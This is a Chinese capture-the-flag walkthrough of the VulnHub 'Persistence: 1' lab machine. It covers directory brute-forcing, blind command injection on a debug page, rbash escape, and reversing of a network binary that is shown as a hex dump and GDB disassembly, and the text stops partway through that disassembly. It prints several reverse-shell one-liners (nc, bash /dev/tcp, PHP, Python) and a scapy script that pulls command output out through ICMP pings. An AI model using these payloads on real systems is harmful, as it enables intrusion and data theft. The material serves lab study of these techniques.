CTF靶场系列- Persistence: 1

ctf

下载地址

https://download.vulnhub.com/persistence/persistence-1.0.tgz

实战演练

查找靶机的IP

image.png

查看靶机开放的端口

image.png

浏览器打开80端口

image.png只是显示一张图片,爆破一下web目录,找到了一个debug页面

image.png打开之后测试输入IP,没有回显结果

image.png使用wireshark抓icmp包就可以发现命令注入成功

image.png按照正常的节奏就是nc反弹,使用几条nc反弹命令测试还是没有效果

nc <ip> <port> -e /bin/bash
bash -i >& /dev/tcp/<ip>/<port> 0>&1
php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在网上找了个脚本

from scapy.all import *
from threading import Thread
from requests import post

def pingListen():
  pkts = sniff(iface="eth0", timeout=1)

  for packet in pkts:
    if packet.getlayer(ICMP):
      if str(packet.getlayer(ICMP).type) == "8":
        sys.stdout.write(packet.getlayer(Raw).load[-1])


if __name__ == "__main__":
  while True:
    try:
      sys.stdout.write('# ')
      command = sys.stdin.readline().strip()
      thread = Thread(target=pingListen)
      thread.start()
      payload = "; TEST=$(%s 2>&1 | xxd -c 1 -ps); for TEST2 in $TEST; do ping -c 1 -p $TEST2 192.168.0.105; done"%command
      r = post('http://192.168.0.100/debug.php', data={"addr":payload})
      thread.join()
    except KeyboardInterrupt:
      break

运行脚本,找到了二进制程序

image.png下载二进制文件

image.png查看二进制文件的信息,发现这个程序是设置防火墙规则然后重置,应该是打开某个端口,下面有用户名和密码。Use avida:dollars to access.

root@kali:~/Downloads# strings sysadmin-tool 
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
chroot
strncmp
puts
setreuid
mkdir
rmdir
chdir
system
__libc_start_main
GLIBC_2.0
PTRh 
[^_]
Usage: sysadmin-tool --activate-service
--activate-service
breakout
/bin/sed -i 's/^#//' /etc/sysconfig/iptables
/sbin/iptables-restore < /etc/sysconfig/iptables
Service started...
Use avida:dollars to access.
/nginx/usr/share/nginx/html/breakout
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-4)
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.ctors
.dtors
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__CTOR_LIST__
__DTOR_LIST__
__JCR_LIST__
__do_global_dtors_aux
completed.5974
dtor_idx.5976
frame_dummy
__CTOR_END__
__FRAME_END__
__JCR_END__
__do_global_ctors_aux
sysadmin-tool.c
_GLOBAL_OFFSET_TABLE_
__init_array_end
__init_array_start
_DYNAMIC
data_start
mkdir@@GLIBC_2.0
__libc_csu_fini
_start
__gmon_start__
_Jv_RegisterClasses
_fp_hw
_fini
system@@GLIBC_2.0
__libc_start_main@@GLIBC_2.0
_IO_stdin_used
__data_start
__dso_handle
chroot@@GLIBC_2.0
__DTOR_END__
__libc_csu_init
chdir@@GLIBC_2.0
__bss_start
rmdir@@GLIBC_2.0
setreuid@@GLIBC_2.0
_end
puts@@GLIBC_2.0
strncmp@@GLIBC_2.0
_edata
__i686.get_pc_thunk.bx
main
_init

运行程序

image.png重新nmap扫描,看到22端口出现了

image.png连接ssh,用avide用户登录

image.png在上图可以看到看到rbash终端,查了一下资料

什么是rbash?
受限shell是LinuxShell限制一些bash shell中的功能,并且是从名字上很清楚。 该限制很好地实现了命令以及脚本在受限shell中运行。 它为Linux中的bash shell提供了一个额外的安全层。
限制在rbash中实现
cd命令(更改目录)
PATH(设置/取消设置)
ENV aka BASH_ENV(环境设置/取消设置)
导入功能
指定包含参数'/'的文件名
指定包含参数' - '的文件名
使用重定向输出'>','>>','> |',“<>”,“>&”,“&>”
关闭使用限制“ 设置+ R”或“ 设置+ O'注 :rbash限制任何启动文件被读取后执行。

有两种方法可以突破

ftp突破

image.png调用命令

+rbash-4.1$ echo $PATH
/home/avida/usr/bin
+rbash-4.1$ ls -lah /home/avida/usr/bin
total 8.0K
drwxr-x---. 2 root avida 4.0K Mar 17  2014 .
drwxr-xr-x. 3 root avida 4.0K Mar 17  2014 ..
lrwxrwxrwx. 1 root root     8 Mar 17  2014 cat -> /bin/cat
lrwxrwxrwx. 1 root root    14 Mar 17  2014 clear -> /usr/bin/clear
lrwxrwxrwx. 1 root root     7 Mar 17  2014 cp -> /bin/cp
lrwxrwxrwx. 1 root root     8 Mar 17  2014 cut -> /bin/cut
lrwxrwxrwx. 1 root root     7 Mar 17  2014 dd -> /bin/dd
lrwxrwxrwx. 1 root root     7 Mar 17  2014 df -> /bin/df
lrwxrwxrwx. 1 root root    13 Mar 17  2014 diff -> /usr/bin/diff
lrwxrwxrwx. 1 root root    12 Mar 17  2014 dir -> /usr/bin/dir
lrwxrwxrwx. 1 root root    11 Mar 17  2014 du -> /usr/bin/du
lrwxrwxrwx. 1 root root    13 Mar 17  2014 file -> /usr/bin/file
lrwxrwxrwx. 1 root root    12 Mar 17  2014 ftp -> /usr/bin/ftp
lrwxrwxrwx. 1 root root     9 Mar 17  2014 grep -> /bin/grep
lrwxrwxrwx. 1 root root    11 Mar 17  2014 gunzip -> /bin/gunzip
lrwxrwxrwx. 1 root root     9 Mar 17  2014 gzip -> /bin/gzip
lrwxrwxrwx. 1 root root    11 Mar 17  2014 id -> /usr/bin/id
lrwxrwxrwx. 1 root root    14 Mar 17  2014 ifconfig -> /sbin/ifconfig
lrwxrwxrwx. 1 root root    14 Mar 17  2014 iftop -> /usr/bin/iftop
lrwxrwxrwx. 1 root root    11 Mar 17  2014 ipcalc -> /bin/ipcalc
lrwxrwxrwx. 1 root root     9 Mar 17  2014 kill -> /bin/kill
lrwxrwxrwx. 1 root root    15 Mar 17  2014 locale -> /usr/bin/locale
lrwxrwxrwx. 1 root root     7 Mar 17  2014 ls -> /bin/ls
lrwxrwxrwx. 1 root root    14 Mar 17  2014 lscpu -> /usr/bin/lscpu
lrwxrwxrwx. 1 root root    15 Mar 17  2014 md5sum -> /usr/bin/md5sum
lrwxrwxrwx. 1 root root    10 Mar 17  2014 mkdir -> /bin/mkdir
lrwxrwxrwx. 1 root root     9 Mar 17  2014 nano -> /bin/nano
lrwxrwxrwx. 1 root root    12 Mar 17  2014 netstat -> /bin/netstat
lrwxrwxrwx. 1 root root     9 Mar 17  2014 nice -> /bin/nice
lrwxrwxrwx. 1 root root    15 Mar 17  2014 passwd -> /usr/bin/passwd
lrwxrwxrwx. 1 root root     9 Mar 17  2014 ping -> /bin/ping
lrwxrwxrwx. 1 root root     7 Mar 17  2014 ps -> /bin/ps
lrwxrwxrwx. 1 root root    15 Mar 17  2014 pstree -> /usr/bin/pstree
lrwxrwxrwx. 1 root root     8 Mar 17  2014 pwd -> /bin/pwd
lrwxrwxrwx. 1 root root    15 Mar 17  2014 rename -> /usr/bin/rename
lrwxrwxrwx. 1 root root    15 Mar 17  2014 renice -> /usr/bin/renice
lrwxrwxrwx. 1 root root     7 Mar 17  2014 rm -> /bin/rm
lrwxrwxrwx. 1 root root    10 Mar 17  2014 rmdir -> /bin/rmdir
lrwxrwxrwx. 1 root root    11 Mar 17  2014 route -> /sbin/route
lrwxrwxrwx. 1 root root    12 Mar 17  2014 seq -> /usr/bin/seq
lrwxrwxrwx. 1 root root     9 Mar 17  2014 sort -> /bin/sort
lrwxrwxrwx. 1 root root    15 Mar 17  2014 telnet -> /usr/bin/telnet
lrwxrwxrwx. 1 root root    12 Mar 17  2014 top -> /usr/bin/top
lrwxrwxrwx. 1 root root    10 Mar 17  2014 touch -> /bin/touch
lrwxrwxrwx. 1 root root    13 Mar 17  2014 uniq -> /usr/bin/uniq
lrwxrwxrwx. 1 root root    15 Mar 17  2014 uptime -> /usr/bin/uptime
lrwxrwxrwx. 1 root root    11 Mar 17  2014 wc -> /usr/bin/wc
lrwxrwxrwx. 1 root root    14 Mar 17  2014 which -> /usr/bin/which
lrwxrwxrwx. 1 root root    12 Mar 17  2014 who -> /usr/bin/who
lrwxrwxrwx. 1 root root    15 Mar 17  2014 whoami -> /usr/bin/whoami

有两个命令可以调用bash命令

nice /bin/bash
nano -s /bin/sh

image.png搞定之后需要修改一下环境变量

export PATH='/usr/bin:/bin:/sbin:/home/avida/usr/bin'

查找特殊文件权限,没发现什么可疑的文件

image.png检测开放的端口,开放了一个3333端口

image.pngtelnet上去之后,没有什么反应

image.png没有root权限不能查看pid

image.png我在连接之前获得了一个进程列表,在连接之后得到了一个进程列表。当大多数网络服务开始建立连接时,我们应该在包含分叉进程的进程列表中看到差异。

image.png

image.png

测试发现存在缓冲区溢出漏洞,下图可以看到程序最后一段是bye,当输入30个字符就会覆盖bye

image.png

image.png

复制到本地进行逆向

bash-4.1$ xxd -p -c 36 /usr/local/bin/wopr
7f454c460101010000000000000000000200030001000000c08604083400000080110000
0000000034002000090028001e001b000600000034000000348004083480040820010000
200100000500000004000000030000005401000054810408548104081300000013000000
040000000100000001000000000000000080040800800408c00d0000c00d000005000000
0010000001000000140f0000149f0408149f0408440100004c0100000600000000100000
02000000280f0000289f0408289f0408c8000000c8000000060000000400000004000000
6801000068810408688104084400000044000000040000000400000050e57464200d0000
208d0408208d04082400000024000000040000000400000051e574640000000000000000
000000000000000000000000060000000400000052e57464140f0000149f0408149f0408
ec000000ec00000004000000010000002f6c69622f6c642d6c696e75782e736f2e320000
040000001000000001000000474e55000000000002000000060000001200000004000000
1400000003000000474e5500250b67f32113395af5dcb8eaa120f32143d8e1e902000000
160000000100000005000000002000200000000016000000ad4be3c00000000000000000
00000000000000006b000000000000000000000012000000010000000000000000000000
20000000c60000000000000000000000120000005d000000000000000000000012000000
64000000000000000000000012000000ad00000000000000000000001200000035000000
000000000000000012000000810000000000000000000000120000003b00000000000000
0000000012000000a6000000000000000000000012000000290000000000000000000000
120000008600000000000000000000001200000098000000000000000000000012000000
7c000000000000000000000012000000a00000000000000000000000120000004c000000
000000000000000012000000420000000000000000000000120000004700000000000000
00000000120000008d000000000000000000000012000000bf0000000000000000000000
12000000300000000000000000000000120000001a0000000c8c04080400000011000f00
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736f636b6f7074007761697470696400636c6f736500616363657074005f5f6c6962635f
73746172745f6d61696e00736574656e7600777269746500474c4942435f322e3400474c
4942435f322e300000000200000002000200020002000200020002000200020002000200
020002000300020002000200020002000100000001000200100000001000000000000000
1469690d00000300cc000000100000001069690d00000200d600000000000000f09f0408
0602000000a004080701000004a004080702000008a00408070300000ca0040807040000
10a004080705000014a004080706000018a00408070700001ca004080708000020a00408
0709000024a00408070a000028a00408070b00002ca00408070c000030a00408070d0000
34a00408070e000038a00408070f00003ca004080710000040a004080711000044a00408
0712000048a00408071300004ca004080714000050a00408071500005589e55383ec04e8
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ff2504a004086808000000e9d0ffffffff2508a004086810000000e9c0ffffffff250ca0
04086818000000e9b0ffffffff2510a004086820000000e9a0ffffffff2514a004086828
000000e990ffffffff2518a004086830000000e980ffffffff251ca004086838000000e9
70ffffffff2520a004086840000000e960ffffffff2524a004086848000000e950ffffff
ff2528a004086850000000e940ffffffff252ca004086858000000e930ffffffff2530a0
04086860000000e920ffffffff2534a004086868000000e910ffffffff2538a004086870
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ff254ca004086898000000e9b0feffffff2550a0040868a0000000e9a0feffff00000000
31ed5e89e183e4f050545268508b040868608b0408515668de870408e8dbfefffff49090
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ffffe8f9fbffff8b00890424e82ffdffffc744240801000000c7442404608c0408c70424
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fdffff8d85ecfdffff89542408894424048b85d8fdffff890424e829fcffff8985d4fdff
ff83bdd4fdffff00791bc70424ab8c0408e8fefbffffe879fbffff8b00890424e8affcff
ffc70424b28c0408e863fcffffe86efcffff85c00f85f8000000c744240821000000c744
2404c88c04088b85d4fdffff890424e858fbffffc744240823000000c7442404ec8c0408
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84040000a8000000050000000c00000004000000080000008c0000000100000006000000
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000000000400000000000000b40000000100000002000000448d0408440d00007c000000
00000000000000000400000000000000be0000000100000003000000149f0408140f0000
0800000000000000000000000400000000000000c500000001000000030000001c9f0408
1c0f00000800000000000000000000000400000000000000cc0000000100000003000000
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03000000289f0408280f0000c800000006000000000000000400000008000000da000000
0100000003000000f09f0408f00f00000400000000000000000000000400000004000000
df0000000100000003000000f49f0408f40f000060000000000000000000000004000000
04000000e8000000010000000300000054a0040854100000040000000000000000000000
0400000000000000ee000000080000000300000058a00408581000000800000000000000
000000000400000000000000f3000000010000003000000000000000581000002c000000
000000000000000001000000010000001100000003000000000000000000000084100000
fc0000000000000000000000010000000000000001000000020000000000000000000000
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000000000000000000000000548104080000000003000100000000006881040800000000
030002000000000088810408000000000300030000000000ac8104080000000003000400
00000000cc8104080000000003000500000000003c830408000000000300060000000000
1c8404080000000003000700000000004c8404080000000003000800000000007c840408
000000000300090000000000848404080000000003000a00000000002c85040800000000
03000b00000000005c8504080000000003000c0000000000c08604080000000003000d00
00000000ec8b04080000000003000e0000000000088c04080000000003000f0000000000
208d0408000000000300100000000000448d0408000000000300110000000000149f0408
0000000003001200000000001c9f0408000000000300130000000000249f040800000000
0300140000000000289f0408000000000300150000000000f09f04080000000003001600
00000000f49f040800000000030017000000000054a00408000000000300180000000000
58a00408000000000300190000000000000000000000000003001a000100000000000000
000000000400f1ff0c000000149f040800000000010012001a0000001c9f040800000000
0100130028000000249f0408000000000100140035000000f08604080000000002000d00
4b00000058a0040801000000010019005a0000005ca00408040000000100190068000000
508704080000000002000d000100000000000000000000000400f1ff74000000189f0408
000000000100120081000000bc8d040800000000010011008f000000249f040800000000
010014009b000000c08b04080000000002000d00b100000000000000000000000400f1ff
b8000000f49f04080000000001001700ce000000149f04080000000000001200df000000
149f04080000000000001200f2000000289f04080000000001001500fb00000054a00408
00000000200018000601000000000000000000001200000022010000508b040805000000
12000d0032010000c08604080000000012000d0039010000000000000000000020000000
480100000000000000000000200000005c010000088c04080400000011000f0063010000
ec8b04080000000012000e00690100000000000000000000120000007a01000000000000
00000000120000008c0100000000000000000000120000009e0100000000000000000000
12000000bb010000000000000000000012000000cc010000000000000000000012000000
dc010000000000000000000012000000ee0100000c8c04080400000011000f00fd010000
54a0040800000000100018000a0200000000000000000000120000001c02000000000000
00000000120000002e020000748704086a00000012000d00380200000000000000000000
120000004a020000108c04080000000011020f0057020000000000000000000012000000
6a020000209f0408000000001102130077020000608b04085a00000012000d0087020000
00000000000000001200000097020000000000000000000012000000a802000058a00408
000000001000f1ffb4020000000000000000000012000000d002000060a0040800000000
1000f1ffd5020000000000000000000012000000e5020000000000000000000012000000
f50200000000000000000000120000000b03000058a00408000000001000f1ff12030000
0000000000000000120000002403000000000000000000001200000034030000ba8b0408
0000000012020d004b030000de8704086303000012000d00500300002c85040800000000
12000b000063727473747566662e63005f5f43544f525f4c4953545f5f005f5f44544f52
5f4c4953545f5f005f5f4a43525f4c4953545f5f005f5f646f5f676c6f62616c5f64746f
72735f61757800636f6d706c657465642e353937340064746f725f6964782e3539373600
6672616d655f64756d6d79005f5f43544f525f454e445f5f005f5f4652414d455f454e44
5f5f005f5f4a43525f454e445f5f005f5f646f5f676c6f62616c5f63746f72735f617578
00776f70722e63005f474c4f42414c5f4f46465345545f5441424c455f005f5f696e6974
5f61727261795f656e64005f5f696e69745f61727261795f7374617274005f44594e414d
494300646174615f7374617274005f5f6572726e6f5f6c6f636174696f6e4040474c4942
435f322e30005f5f6c6962635f6373755f66696e69005f7374617274005f5f676d6f6e5f
73746172745f5f005f4a765f5265676973746572436c6173736573005f66705f6877005f
66696e690077726974654040474c4942435f322e30006c697374656e4040474c4942435f
322e30006d656d7365744040474c4942435f322e30005f5f6c6962635f73746172745f6d
61696e4040474c4942435f322e300068746f6e734040474c4942435f322e300072656164
4040474c4942435f322e3000706572726f724040474c4942435f322e30005f494f5f7374
64696e5f75736564005f5f646174615f7374617274006163636570744040474c4942435f
322e3000736f636b65744040474c4942435f322e30006765745f7265706c79006d656d63
70794040474c4942435f322e30005f5f64736f5f68616e646c6500776169747069644040
474c4942435f322e30005f5f44544f525f454e445f5f005f5f6c6962635f6373755f696e
69740062696e644040474c4942435f322e3000636c6f73654040474c4942435f322e3000
5f5f6273735f7374617274005f5f737461636b5f63686b5f6661696c4040474c4942435f
322e34005f656e6400707574734040474c4942435f322e3000666f726b4040474c494243
5f322e3000736574736f636b6f70744040474c4942435f322e30005f6564617461007365
74656e764040474c4942435f322e3000657869744040474c4942435f322e30005f5f6936
38362e6765745f70635f7468756e6b2e6278006d61696e005f696e697400

复制上面的十六进制文件,然后本地重新组成二进制文件

root@kali:/tmp# vim wopr.hex
root@kali:/tmp# cat wopr.hex | xxd -r -p > wopr
root@kali:/tmp# 

注:测试发现无法使用kali环境进行逆向(缺少相应so),后来下载centos7进行逆向可以了

可以看到已经被A覆盖了

image.png

堆栈溢出资料

堆栈溢出的产生是由于过多的函数调用,导致调用堆栈无法容纳这些调用的返回地址。堆栈溢出很可能由无限递归(Infinite recursion)产生

#include<stdio.h>
int main()
{
char name[8];
printf("Please type your name:");
gets(name);
printf("Hello.%s!",name);
return 0;
}

编译并且执行,输入ipxodiAAAAAAAAAAAAAAAA,执行完gets(name)之后,堆栈如下:
由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写'A',如果提前申请动态内存就可以避免堆栈溢出。而
堆栈既可以向下增长(向内存低地址)也可以向上增长, 这依赖于具体的实现。 在我们的例子中, 堆栈是向下增长的。 这是很多计算机的实现方式, 包括Intel, Motorola, SPARC和MIPS处理器。由于堆栈的生长方向与内存的生长方向相反,这些'A’覆盖了堆栈的 老的元素。'EBP ret’都被'A'覆盖了。在main返回的时候,就会把'AAAA'的ASCII码:0x41414141作为返回地址,CPU会试图执行 0x41414141处的指令,结果出现错误。这就是一次堆栈溢出!

由上图看到一句话stack smashing detected,程序有缓冲区溢出保护

缓冲区溢出保护是在软件开发过程中使用的各种技术中的任何一种,它通过检测堆栈分配的变量上的缓冲区溢出并防止它们引起程序异常或严重的安全性来增强可执行程序的安全性。漏洞。当程序在预期的数据结构外部写入程序的调用堆栈上的内存地址时,就会发生堆栈缓冲区溢出,通常是固定长度的缓冲区。当程序向堆栈上的缓冲区写入的数据比为该缓冲区实际分配的数据多时,会导致堆栈缓冲区溢出错误。这几乎总是导致堆栈上相邻数据的损坏,这可能导致程序崩溃,错误的操作或安全问题。
通常,缓冲区溢出保护会修改堆栈分配的数据的组织,因此它包含一个canary值,当该值被堆栈缓冲区溢出破坏时,表明内存中位于其之前的缓冲区已经溢出。通过验证canary值,可以终止受影响程序的执行,从而防止其行为异常或使攻击者对其进行控制。其他缓冲区溢出保护技术包括:边界检查(该函数检查对每个分配的内存块的访问,以使它们不能超出实际分配的空间);以及标记(一种确保存储的用于存储数据的内存,不能包含可执行代码)。
与在堆上溢出缓冲区相比,在堆上分配的缓冲区溢出更可能影响程序执行,因为堆栈包含所有活动函数调用的返回地址。但是,针对基于堆的溢出也存在类似的特定于实现的保护。
有几种缓冲区溢出保护的实现,包括用于GNU编译器**,LLVM,Microsoft Visual Studio和其他编译器的实现。

查看程序开启什么保护机制

image.png

其中涉及的保护机制是canary

canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致,若一致则正常退出,如果是栈溢出或者其他原因导致canary的值发生变化,那么程序将执行___stack_chk_fail函数,继而终止程序。

我使用r命令运行二进制文件,并对其进行了新的telnet会话

image.png当新的连接进入时,会出现一个新过程的通知。分解主要功能可以使我们了解到该过程正在执行fork()

gdb-peda$ disass main
Dump of assembler code for function main:
   0x080487de <+0>:	push   ebp
   0x080487df <+1>:	mov    ebp,esp
   0x080487e1 <+3>:	sub    esp,0x258
   0x080487e7 <+9>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080487ea <+12>:	mov    DWORD PTR [ebp-0x23c],eax
   0x080487f0 <+18>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080487f3 <+21>:	mov    DWORD PTR [ebp-0x240],eax
   0x080487f9 <+27>:	mov    eax,DWORD PTR [ebp+0x10]
   0x080487fc <+30>:	mov    DWORD PTR [ebp-0x244],eax
   0x08048802 <+36>:	mov    eax,gs:0x14
   0x08048808 <+42>:	mov    DWORD PTR [ebp-0x4],eax
   0x0804880b <+45>:	xor    eax,eax
   0x0804880d <+47>:	mov    DWORD PTR [ebp-0x230],0x1
   0x08048817 <+57>:	mov    DWORD PTR [ebp-0x234],0x10
   0x08048821 <+67>:	mov    DWORD PTR [esp+0x8],0x0
   0x08048829 <+75>:	mov    DWORD PTR [esp+0x4],0x1
   0x08048831 <+83>:	mov    DWORD PTR [esp],0x2
   0x08048838 <+90>:	call   0x804860c <socket@plt>
   0x0804883d <+95>:	mov    DWORD PTR [ebp-0x228],eax
   0x08048843 <+101>:	cmp    DWORD PTR [ebp-0x228],0x0
   0x0804884a <+108>:	jns    0x8048867 <main+137>
   0x0804884c <+110>:	mov    DWORD PTR [esp],0x8048c30
   0x08048853 <+117>:	call   0x80485ec <perror@plt>
   0x08048858 <+122>:	call   0x804856c <__errno_location@plt>
   0x0804885d <+127>:	mov    eax,DWORD PTR [eax]
   0x0804885f <+129>:	mov    DWORD PTR [esp],eax
   0x08048862 <+132>:	call   0x80486ac <exit@plt>
   0x08048867 <+137>:	mov    DWORD PTR [esp+0x10],0x4
   0x0804886f <+145>:	lea    eax,[ebp-0x230]
   0x08048875 <+151>:	mov    DWORD PTR [esp+0xc],eax
   0x08048879 <+155>:	mov    DWORD PTR [esp+0x8],0x2
   0x08048881 <+163>:	mov    DWORD PTR [esp+0x4],0x1
   0x08048889 <+171>:	mov    eax,DWORD PTR [ebp-0x228]
   0x0804888f <+177>:	mov    DWORD PTR [esp],eax
   0x08048892 <+180>:	call   0x804868c <setsockopt@plt>
   0x08048897 <+185>:	test   eax,eax
   0x08048899 <+187>:	jns    0x80488b6 <main+216>
   0x0804889b <+189>:	mov    DWORD PTR [esp],0x8048c37
   0x080488a2 <+196>:	call   0x80485ec <perror@plt>
   0x080488a7 <+201>:	call   0x804856c <__errno_location@plt>
   0x080488ac <+206>:	mov    eax,DWORD PTR [eax]
   0x080488ae <+208>:	mov    DWORD PTR [esp],eax
   0x080488b1 <+211>:	call   0x80486ac <exit@plt>
   0x080488b6 <+216>:	mov    WORD PTR [ebp-0x224],0x2
   0x080488bf <+225>:	mov    DWORD PTR [esp],0xd05
   0x080488c6 <+232>:	call   0x80485cc <htons@plt>
   0x080488cb <+237>:	mov    WORD PTR [ebp-0x222],ax
   0x080488d2 <+244>:	mov    DWORD PTR [ebp-0x220],0x0
   0x080488dc <+254>:	mov    DWORD PTR [esp+0x8],0x8
   0x080488e4 <+262>:	mov    DWORD PTR [esp+0x4],0x0
   0x080488ec <+270>:	lea    eax,[ebp-0x224]
   0x080488f2 <+276>:	add    eax,0x8
   0x080488f5 <+279>:	mov    DWORD PTR [esp],eax
   0x080488f8 <+282>:	call   0x80485ac <memset@plt>
   0x080488fd <+287>:	lea    eax,[ebp-0x224]
   0x08048903 <+293>:	mov    DWORD PTR [esp+0x8],0x10
   0x0804890b <+301>:	mov    DWORD PTR [esp+0x4],eax
   0x0804890f <+305>:	mov    eax,DWORD PTR [ebp-0x228]
   0x08048915 <+311>:	mov    DWORD PTR [esp],eax
   0x08048918 <+314>:	call   0x804863c <bind@plt>
   0x0804891d <+319>:	test   eax,eax
   0x0804891f <+321>:	jns    0x804893c <main+350>
   0x08048921 <+323>:	mov    DWORD PTR [esp],0x8048c42
   0x08048928 <+330>:	call   0x80485ec <perror@plt>
   0x0804892d <+335>:	call   0x804856c <__errno_location@plt>
   0x08048932 <+340>:	mov    eax,DWORD PTR [eax]
   0x08048934 <+342>:	mov    DWORD PTR [esp],eax
   0x08048937 <+345>:	call   0x80486ac <exit@plt>
   0x0804893c <+350>:	mov    DWORD PTR [esp],0x8048c47
   0x08048943 <+357>:	call   0x804866c <puts@plt>
   0x08048948 <+362>:	mov    DWORD PTR [esp+0x4],0x14
   0x08048950 <+370>:	mov    eax,DWORD PTR [ebp-0x228]
   0x08048956 <+376>:	mov    DWORD PTR [esp],eax
   0x08048959 <+379>:	call   0x804859c <listen@plt>
   0x0804895e <+384>:	test   eax,eax
   0x08048960 <+386>:	jns    0x804897d <main+415>
   0x08048962 <+388>:	mov    DWORD PTR [esp],0x8048c59
   0x08048969 <+395>:	call   0x80485ec <perror@plt>
   0x0804896e <+400>:	call   0x804856c <__errno_location@plt>
   0x08048973 <+405>:	mov    eax,DWORD PTR [eax]
   0x08048975 <+407>:	mov    DWORD PTR [esp],eax
   0x08048978 <+410>:	call   0x80486ac <exit@plt>
   0x0804897d <+415>:	mov    DWORD PTR [esp+0x8],0x1
   0x08048985 <+423>:	mov    DWORD PTR [esp+0x4],0x8048c60
   0x0804898d <+431>:	mov    DWORD PTR [esp],0x8048c69
   0x08048994 <+438>:	call   0x804869c <setenv@plt>
   0x08048999 <+443>:	mov    DWORD PTR [esp],0x8048c70
   0x080489a0 <+450>:	call   0x804866c <puts@plt>
   0x080489a5 <+455>:	mov    DWORD PTR [esp],0x8048c8c
   0x080489ac <+462>:	call   0x804866c <puts@plt>
   0x080489b1 <+467>:	lea    edx,[ebp-0x234]
   0x080489b7 <+473>:	lea    eax,[ebp-0x214]
   0x080489bd <+479>:	mov    DWORD PTR [esp+0x8],edx
   0x080489c1 <+483>:	mov    DWORD PTR [esp+0x4],eax
   0x080489c5 <+487>:	mov    eax,DWORD PTR [ebp-0x228]
   0x080489cb <+493>:	mov    DWORD PTR [esp],eax
   0x080489ce <+496>:	call   0x80485fc <accept@plt>
   0x080489d3 <+501>:	mov    DWORD PTR [ebp-0x22c],eax
   0x080489d9 <+507>:	cmp    DWORD PTR [ebp-0x22c],0x0
   0x080489e0 <+514>:	jns    0x80489fd <main+543>
   0x080489e2 <+516>:	mov    DWORD PTR [esp],0x8048cab
   0x080489e9 <+523>:	call   0x80485ec <perror@plt>
   0x080489ee <+528>:	call   0x804856c <__errno_location@plt>
   0x080489f3 <+533>:	mov    eax,DWORD PTR [eax]
   0x080489f5 <+535>:	mov    DWORD PTR [esp],eax
   0x080489f8 <+538>:	call   0x80486ac <exit@plt>
   0x080489fd <+543>:	mov    DWORD PTR [esp],0x8048cb2
   0x08048a04 <+550>:	call   0x804866c <puts@plt>
   0x08048a09 <+555>:	call   0x804867c <fork@plt>
   0x08048a0e <+560>:	test   eax,eax
   0x08048a10 <+562>:	jne    0x8048b0e <main+816>
   0x08048a16 <+568>:	mov    DWORD PTR [esp+0x8],0x21
   0x08048a1e <+576>:	mov    DWORD PTR [esp+0x4],0x8048cc8
   0x08048a26 <+584>:	mov    eax,DWORD PTR [ebp-0x22c]
   0x08048a2c <+590>:	mov    DWORD PTR [esp],eax
   0x08048a2f <+593>:	call   0x804858c <write@plt>
   0x08048a34 <+598>:	mov    DWORD PTR [esp+0x8],0x23
   0x08048a3c <+606>:	mov    DWORD PTR [esp+0x4],0x8048cec
   0x08048a44 <+614>:	mov    eax,DWORD PTR [ebp-0x22c]
   0x08048a4a <+620>:	mov    DWORD PTR [esp],eax
   0x08048a4d <+623>:	call   0x804858c <write@plt>
   0x08048a52 <+628>:	mov    DWORD PTR [esp+0x8],0x2
   0x08048a5a <+636>:	mov    DWORD PTR [esp+0x4],0x8048d10
   0x08048a62 <+644>:	mov    eax,DWORD PTR [ebp-0x22c]
   0x08048a68 <+650>:	mov    DWORD PTR [esp],eax
   0x08048a6b <+653>:	call   0x804858c <write@plt>
   0x08048a70 <+658>:	mov    DWORD PTR [esp+0x8],0x200
   0x08048a78 <+666>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048a80 <+674>:	lea    eax,[ebp-0x204]
   0x08048a86 <+680>:	mov    DWORD PTR [esp],eax
   0x08048a89 <+683>:	call   0x80485ac <memset@plt>
   0x08048a8e <+688>:	mov    DWORD PTR [esp+0x8],0x200
   0x08048a96 <+696>:	lea    eax,[ebp-0x204]
   0x08048a9c <+702>:	mov    DWORD PTR [esp+0x4],eax
   0x08048aa0 <+706>:	mov    eax,DWORD PTR [ebp-0x22c]
   0x08048aa6 <+712>:	mov    DWORD PTR [esp],eax
   0x08048aa9 <+715>:	call   0x80485dc <read@plt>
   0x08048aae <+720>:	mov    DWORD PTR [ebp-0x238],eax
   0x08048ab4 <+726>:	mov    eax,DWORD PTR [ebp-0x22c]
   0x08048aba <+732>:	mov    DWORD PTR [esp+0x8],eax
   0x08048abe <+736>:	mov    eax,DWORD PTR [ebp-0x238]
   0x08048ac4 <+742>:	mov    DWORD PTR [esp+0x4],eax
   0x08048ac8 <+746>:	lea    eax,[ebp-0x204]
   0x08048ace <+752>:	mov    DWORD PTR [esp],eax
   0x08048ad1 <+755>:	call   0x8048774 <get_reply>
   0x08048ad6 <+760>:	mov    DWORD PTR [esp+0x8],0x9
   0x08048ade <+768>:	mov    DWORD PTR [esp+0x4],0x8048d13
   0x08048ae6 <+776>:	mov    eax,DWORD PTR [ebp-0x22c]
   0x08048aec <+782>:	mov    DWORD PTR [esp],eax
   0x08048aef <+785>:	call   0x804858c <write@plt>
   0x08048af4 <+790>:	mov    eax,DWORD PTR [ebp-0x22c]
   0x08048afa <+796>:	mov    DWORD PTR [esp],eax
   0x08048afd <+799>:	call   0x804864c <close@plt>
   0x08048b02 <+804>:	mov    DWORD PTR [esp],0x0
   0x08048b09 <+811>:	call   0x80486ac <exit@plt>
   0x08048b0e <+816>:	mov    eax,DWORD PTR [ebp-0x22c]
